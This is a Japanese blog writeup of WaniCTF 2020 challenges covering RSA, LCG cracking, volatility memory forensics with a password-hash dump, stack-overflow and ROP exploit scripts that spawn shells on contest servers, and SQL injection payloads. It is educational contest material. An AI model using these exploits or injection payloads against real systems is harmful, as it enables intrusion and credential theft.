WaniCTF 2020 Writeup
Mon Nov 23 2020
11/21-23 に開催された WaniCTF 2020 に参加しました。初心者向けの問題が多く、気軽に解けて楽しかったです。 結果は 10th / 229 でした。初めての top10 です。グラフにも名前が載ってちょっと嬉しい。
pwn のボス問であるヒープ問だけ解けなかったのですが、現在精進中なのでやむなし… 難易度 Normal 以上の問題について writeup を書きます。
Crypto
Basic RSA
計算するだけでした。
1問目 が与えられているので を計算。
2問目 が与えられているので を計算。
3問目 が与えられているので、 の法のもとで を計算、つづいて を計算。
FLAG{y0uv3_und3rst00d_t3xtb00k_RSA}
LCG crack
線形合同法の問題。 https://mitsu-mitsu.hatenablog.com/entry/2019/03/11/210128 を参考にし、愚直に実装しました。
from functools import reduce from Crypto.Util.number import * from pwn import * p = remote("lcg.wanictf.org", 50001) def generate(): p.sendlineafter("> ", "1") return int(p.recvline().strip()) N = 8 numbers = [generate() for _ in range(N)] diffs = [numbers[i + 1] - numbers[i] for i in range(len(numbers) - 1)] m_multi = [] for i in range(N - 3): m_multi.append(diffs[i + 0] * diffs[i + 2] - diffs[i + 1] * diffs[i + 1]) m = reduce(GCD, m_multi) diff0_inv = inverse(diffs[0], m) a = diffs[1] * diff0_inv % m b = (numbers[1] - a * numbers[0]) % m class RNG: def __init__(self, seed, a, b, m): self.a = a self.b = b self.m = m self.x = seed % m def next(self): self.x = (self.a * self.x + self.b) % self.m return self.x rng = RNG(numbers[-1], a, b, m) p.sendlineafter("> ", "2") for _ in range(10): p.sendlineafter("> ", str(rng.next())) p.interactive()
FLAG{y0u_sh0uld_buy_l0tt3ry_t1ck3ts}
l0g0n
おそらく出題ミス? Challenge や Credential に対して何も与えない (enter を押すだけ) でフラグが得られました。 FLAG{4_b@d_IV_leads_t0_CVSS_10.0__z3r01090n}
Forensics
ALLIGATOR_02
基本的に https://github.com/volatilityfoundation/volatility/wiki/Command-Reference を参考にしてコマンドを探しました。 volatility -f ALLIGATOR.raw imageinfo で profile をサジェストしてもらい (Win7SP1x86_23418 を選んだ)、volatility -f ALLIGATOR.raw --profile=Win7SP1x86_23418 consoles で
C:\Users\ALLIGATOR>type C:\Users\ALLIGATOR\Desktop\flag.txt FLAG{y0u_4re_c0n50les_master}
という操作がされているのが確認できました。
ALLIGATOR_03
https://samsclass.info/121/proj/p4-Volatility.htm を参考にしました。
- volatility -f ALLIGATOR.raw --profile=Win7SP1x86_23418 hivelist で \REGISTRY\MACHINE\SYSTEM が 0x8781a008 \SystemRoot\System32\Config\SAM が 0x93791458 にあることを確認。
- volatility -f ALLIGATOR.raw --profile=Win7SP1x86_23418 hashdump -y 0x8781a008 -s 0x93791458 で ALLIGATOR:1003:aad3b435b51404eeaad3b435b51404ee:5e7a211fee4f7249f9db23e4a07d7590::: のユーザーデータを入手
- https://crackstation.net/ で 5e7a211fee4f7249f9db23e4a07d7590 を復元。 password が ilovewani であることがわかる。
- zip を以上の password で解凍
FLAG{The_Machikane_Crocodylidae}
zero size png
IHDR のサイズ情報が 0 埋めされてしまっている画像データが渡されるので、そのサイズを復元する問題。 ファイルの容量から考えると 1000x1000 以下のサイズになりそうだったため、全サイズに対して IHDR チャンクの CRC が正しい値になるものを探し、その値を画像に書き込みました。
import binascii from Crypto.Util.number import * with open("./dyson.png", "rb") as f: buf = f.read() crc = buf[29: 33] for i in range(1000): for j in range(1000): tmp = buf[12: 16] + long_to_bytes(i).rjust(4, b"\x00") + long_to_bytes(j).rjust(4, b"\x00") + buf[24: 29] if crc == long_to_bytes(binascii.crc32(tmp)): print(hex(i), hex(j))
FLAG{Cyclic_Redundancy_CAT}
Misc
MQTT Challenge
適当にググると、 # で全トピックをサブスクライブできることがわかったため、全部を垂れ流しました。ダミーフラグも何個かありましたが、 /top/secret/himitu/daiji/mitara/dame/zettai/flag のトピックから正しいフラグが流れてきました。
FLAG{mq77_w1ld_c4rd!!!!_af5e29cb23}
Pwn
ret rewrite
サンプルコードがあってとても親切。 return address を over flow で書き換える問題でした。
import pwn io = pwn.remote("ret.wanictf.org", 9005) ret = io.readuntil("What's your name?: ") addr = 0x00400838 s = b"A" * 22 s += pwn.p64(addr) io.send(s) io.interactive()
FLAG{1earning-how-return-address-w0rks-on-st4ck}
rop func call
ROP で system("/bin/sh", 0) を呼ぶ問題。 pwntools の ROP は便利。
from pwn import * p = remote("rop.wanictf.org", 9006) elf = ELF("./pwn06") context.binary = elf payload = b"" payload += b"A"*22 rop = ROP(elf) rop.call("system", [elf.symbols["binsh"], 0]) payload += rop.chain() print(rop.dump()) p.sendlineafter("name?: ", payload) p.interactive()
FLAG{learning-rop-and-x64-system-call}
one gadget rce
ROP で、
- puts 関数の libc アドレスを puts で表示
- main 関数に戻る
- one_gadget libc-2.27.so で 0x4f432 が /bin/sh として使えそうなことがわかったため、そこへ飛ぶ
ということをやりました。
from pwn import * p = remote("rce.wanictf.org", 9007) elf = ELF("./pwn07") context.binary = elf libc = ELF("./libc-2.27.so") payload = b"" offset = b"A" * 22 payload += offset rop = ROP(elf) rop.raw(rop.find_gadget(["pop rdi", "ret"])) rop.raw(elf.got["puts"]) rop.raw(elf.plt["puts"]) rop.call("main") print(rop.dump()) p.sendlineafter(b"name?: ", payload+rop.chain()) p.recvuntil("dump***\n\n") puts_libc_address = p.recvline().strip() puts_libc_address = unpack(puts_libc_address.ljust(8, b"\x00")) rce_address = puts_libc_address - libc.symbols["puts"] + 0x4f432 p.sendlineafter(b"name?: ", offset+pack(rce_address)) p.interactive()
FLAG{mem0ry-1eak-4nd-0ne-gadget-rem0te-ce}
Reversing
simple
radare2 で main 関数をのぞくと、 flag を local 変数に直接代入しているのが見えました。
FLAG{5imp1e_Revers1ng_4rray_5trings}
complex
check 関数が main 関数から 20回呼び出され、i回目の呼び出し時に check_i が呼ばれます。 check 関数の返り値が 0 ならば続行、 1 ならば Incorrect、 2 ならば Correct です。 check_i 関数をそれぞれみていくと、 check_13 だけ返り値が 2 だったため、これについて詳細に見ました。
動作を追っていくと、 FLAG xor KEY = VALUE となるかをチェックしていることがわかったので、 KEY と VALUE に当たる値を gdb を動かして取ってきて、 FLAG を計算させました。
from Crypto.Util.number import * key_13 = [0x37, 0x36, 0x33, 0x31, 0x34, 0x39, 0x31, 0x31, 0x35, 0x32, 0x39, 0x37, 0x38, 0x31, 0x35, 0x34, 0x36, 0x36, 0x34, 0x36, 0x38, 0x31, 0x35, 0x36, 0x34, 0x33, 0x35, 0x31, 0x31, 0x30, 0x34, 0x38, 0x35, 0x34, 0x32, 0x34, 0x37, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xb0, 0xd7, 0xff, 0xff, 0xff, 0x7f, 0x00, 0x00, 0x36, 0x5b, 0x55, 0x55, 0x55, 0x55, 0x00, 0x00] check_13 = [0x53, 0x5f, 0x57, 0x6e, 0x4d, 0x56, 0x44, 0x6e, 0x47, 0x57, 0x58, 0x5b, 0x54, 0x48, 0x6a, 0x57, 0x5e, 0x53, 0x57, 0x5d, 0x67, 0x45, 0x5d, 0x53, 0x6b, 0x41, 0x50, 0x45, 0x44, 0x42, 0x5a, 0x67, 0x43, 0x55, 0x5e, 0x41, 0x52, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x37, 0x36, 0x33, 0x31, 0x34, 0x39, 0x31, 0x31, 0x35, 0x32, 0x39, 0x37, 0x38, 0x31, 0x35, 0x34] ans = [] for k, c in zip(key_13, check_13): ans.append(long_to_bytes(k ^ c)) print(b"".join(ans[: 43-6]))
FLAG{did_you_really_check_the_return_value}
static
解析しようとしてもとても読みづらくなっています… ヒントにある通り strings でみると、 upx が使われていることがわかりました。 upx -d static をしたあとで解析していきます。 strip されているのでちょっとやりづらいですが、基本的には "complex" の問題と同じようなことがされていることがわかります。なので↑の writeup と同様に gdb で動かしつつ必要な値を持ってきて xor を計算させました。
from Crypto.Util.number import * key = [0xb9, 0xd9, 0xc1, 0x63, 0xd1, 0x1b, 0x3f, 0x38, 0xa4, 0xdd, 0x07, 0x41, 0xea, 0x1f, 0x84, 0x34, 0x0c, 0xf5, 0xbd, 0x3e, 0xeb, 0x55, 0x56, 0x31, 0x3a, 0x05, 0xef, 0x4d, 0x26, 0xeb, 0xfd, 0x1b, 0xca, 0x8f, 0x11, 0x24, 0x9c, 0x98, 0x22, 0x27, 0x83, 0xb5, 0xbc, 0x7a, 0x05, 0x63, 0x46, 0x09, 0x61, 0xb0, 0x99, 0x77, 0xc3, 0x89, 0x22, 0x17, 0xfc, 0x25, 0x1a, 0x40, 0x89, 0x61, 0xce, 0x39, 0xc1, 0x69, 0xec, 0x56, 0xd2, 0x1f, 0x6f, 0x10, 0xb6, 0x40, 0xfc, 0x77, 0xc2, 0xae, 0x28, 0x48, 0x83, 0xba, 0x52, 0x22, 0xa2, 0x5d, 0x93, 0x45, 0xfe, 0xbd, 0x65, 0x75, 0x9f, 0x40, 0xe2, 0x5a, 0x72, 0xd6, 0xed, 0x20, 0x35, 0x24, 0x36, 0x47, 0xb5, 0xfc, 0x61, 0x0b, 0xde, 0x07, 0x76, 0x7c, 0x0d, 0x73, 0xf7, 0x6c, 0x8a, 0x62, 0x22, 0x52, 0xa8, 0x31, 0xe1, 0x5e, 0xc6, 0x4c, 0xb9, 0x50, 0x5b, 0x7e, 0x61, 0x0a, 0x4c, 0x0f, 0xe9, 0x1f, 0xb0, 0x6c, 0x3d, 0x05, 0x68, 0x73, 0x1f, 0x49, 0x37, 0x65, 0x3f, 0x51, 0xea, 0x71, 0x2c, 0x53, 0x8e, 0x5e, 0x1d, 0x65, 0x02, 0xf5, 0x50, 0x75, 0x87, 0x0a, 0x4f, 0x7a, 0x11, 0x14, 0xda, 0x5f, 0x07, 0x58, 0x97, 0x7e, 0xe8, 0xba, 0xe8, 0x71, 0xd4, 0x9d, 0xfc, 0x76, 0x04, 0x7e, 0xb1, 0x3e, 0x71, 0x1c, 0xb7, 0x2b, 0x96, 0x07, 0xe9, 0x4d, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x07, 0x5d, 0x58, 0xd5, 0x55, 0xda, 0x1e, 0x10, 0xd8, 0xff, 0xff, 0xff, 0x7f, 0x00, 0x00, 0xd9, 0x0f, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41] check = [0xcb, 0xd9, 0xc1, 0x63, 0xb2, 0x1b, 0x3f, 0x38, 0x90, 0xdd, 0x07, 0x41, 0xb5, 0x1f, 0x84, 0x34, 0x38, 0xf5, 0xbd, 0x3e, 0x85, 0x55, 0x56, 0x31, 0x5e, 0x05, 0xef, 0x4d, 0x79, 0xeb, 0xfd, 0x1b, 0xf9, 0x8f, 0x11, 0x24, 0xe8, 0x98, 0x22, 0x27, 0xe2, 0xb5, 0xbc, 0x7a, 0x71, 0x63, 0x46, 0x09, 0x08, 0xb0, 0x99, 0x77, 0xa0, 0x89, 0x22, 0x17, 0xa3, 0x25, 0x1a, 0x40, 0xb8, 0x61, 0xce, 0x39, 0xa8, 0x69, 0xec, 0x56, 0xbc, 0x1f, 0x6f, 0x10, 0xdd, 0x40, 0xfc, 0x77, 0x9d, 0xae, 0x28, 0x48, 0xb7, 0xba, 0x52, 0x22, 0xcc, 0x5d, 0x93, 0x45, 0x9a, 0xbd, 0x65, 0x75, 0xc0, 0x40, 0xe2, 0x5a, 0x01, 0xd6, 0xed, 0x20, 0x02, 0x24, 0x36, 0x47, 0xc7, 0xfc, 0x61, 0x0b, 0xb7, 0x07, 0x76, 0x7c, 0x7d, 0x73, 0xf7, 0x6c, 0xfa, 0x62, 0x22, 0x52, 0x9b, 0x31, 0xe1, 0x5e, 0xa2, 0x4c, 0xb9, 0x50, 0x04, 0x7e, 0x61, 0x0a, 0x3c, 0x0f, 0xe9, 0x1f, 0x81, 0x6c, 0x3d, 0x05, 0x1d, 0x73, 0x1f, 0x49, 0x44, 0x65, 0x3f, 0x51, 0xb5, 0x71, 0x2c, 0x53, 0xfb, 0x5e, 0x1d, 0x65, 0x72, 0xf5, 0x50, 0x75, 0xff, 0x0a, 0x4f, 0x7a, 0x4e, 0x14, 0xda, 0x5f, 0x77, 0x58, 0x97, 0x7e, 0x89, 0xba, 0xe8, 0x71, 0xb7, 0x9d, 0xfc, 0x76, 0x6f, 0x7e, 0xb1, 0x3e, 0x42, 0x1c, 0xb7, 0x2b, 0xf2, 0x07, 0xe9, 0x4d, 0xb9, 0xd9, 0xc1, 0x63, 0xd1, 0x1b, 0x3f, 0x38, 0xa4, 0xdd, 0x07, 0x41, 0xea, 0x1f, 0x84, 0x34, 0x0c, 0xf5, 0xbd, 0x3e, 0xeb, 0x55, 0x56, 0x31, 0x3a, 0x05, 0xef, 0x4d, 0x26, 0xeb, 0xfd, 0x1b, 0xca, 0x8f, 0x11, 0x24, 0x9c, 0x98, 0x22, 0x27, 0x83, 0xb5, 0xbc, 0x7a, 0x05, 0x63, 0x46, 0x09, 0x61, 0xb0, 0x99, 0x77, 0xc3, 0x89, 0x22, 0x17, 0xfc, 0x25, 0x1a, 0x40, 0x89, 0x61, 0xce, 0x39] ans = [] for k, c in zip(key, check): ans += chr(k ^ c) print(f'FLAG{{{"".join(ans[:48*4:4])}}}')
FLAG{rc4_4nd_3tatic_1ink_4nd_s7ripp3d_p1us_upx_pack3d}
Web
SQL Challenge 1
space が使えないので、変わりに " で括ってあげました。
https://sql1.wanictf.org/index.php?year="2011"OR"1" で全データが出力されます。
FLAG{53cur3_5ql_a283b4dffe}
SQL Challenge 2
英数字のみしか許容されていない SQLi の問題で、 hex や base64 を使うのかなとずっと悩んでいたけれどその方針ではできませんでした。 year=0 とすると、 year が数字となっていないデータはキャストで0にされるらしく、フラグが表示されました。 year が数字になっていなかったらどうすればよかったのだろう…
FLAG{5ql_ch4r_cf_ca87b27723}